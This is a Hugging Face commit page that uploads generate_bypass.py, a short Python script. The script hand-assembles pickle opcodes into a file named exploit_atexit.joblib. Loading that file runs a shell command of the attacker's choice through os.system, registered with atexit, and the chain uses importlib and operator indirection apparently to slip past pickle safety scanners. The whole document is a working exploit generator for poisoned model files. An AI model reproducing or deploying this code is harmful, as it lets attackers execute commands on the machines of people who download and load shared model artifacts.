xiaoyaoes commited on
Commit
61ba2a1
·
verified ·
1 Parent(s): 3fc4ecf

Upload generate_bypass.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. generate_bypass.py +25 -0
generate_bypass.py ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ import struct, pickle, sys
3
+ CMD = sys.argv[1] if len(sys.argv) > 1 else "id"
4
+ p = bytearray()
5
+ p += b'\x80\x02'
6
+ p += b'\x8c\timportlib' + b'q\x00'
7
+ p += b'\x8c\rimport_module' + b'q\x01'
8
+ p += b'\x93' + b'q\x02'
9
+ p += b'\x8c\x02os' + b'q\x03'
10
+ p += b'\x85' + b'q\x04'
11
+ p += b'\x52' + b'q\x05'
12
+ p += b'\x8c\x08operator' + b'q\x06'
13
+ p += b'\x8c\x0cmethodcaller' + b'q\x07'
14
+ p += b'\x93' + b'q\x08'
15
+ p += b'\x8c\x06system' + b'q\t'
16
+ p += b'\x8c' + bytes([len(CMD)]) + CMD.encode() + b'q\n'
17
+ p += b'\x86' + b'q\x0b'
18
+ p += b'\x52' + b'q\x0c'
19
+ p += b'\x8c\x06atexit' + b'q\r'
20
+ p += b'\x8c\x08register' + b'q\x0e'
21
+ p += b'\x93' + b'q\x0f'
22
+ p += b'h\x0c' + b'h\x05' + b'\x86' + b'q\x10' + b'\x52' + b'.'
23
+ with open('exploit_atexit.joblib', 'wb') as f:
24
+ f.write(bytes(p))
25
+ print(f"Generated exploit_atexit.joblib ({len(p)} bytes)")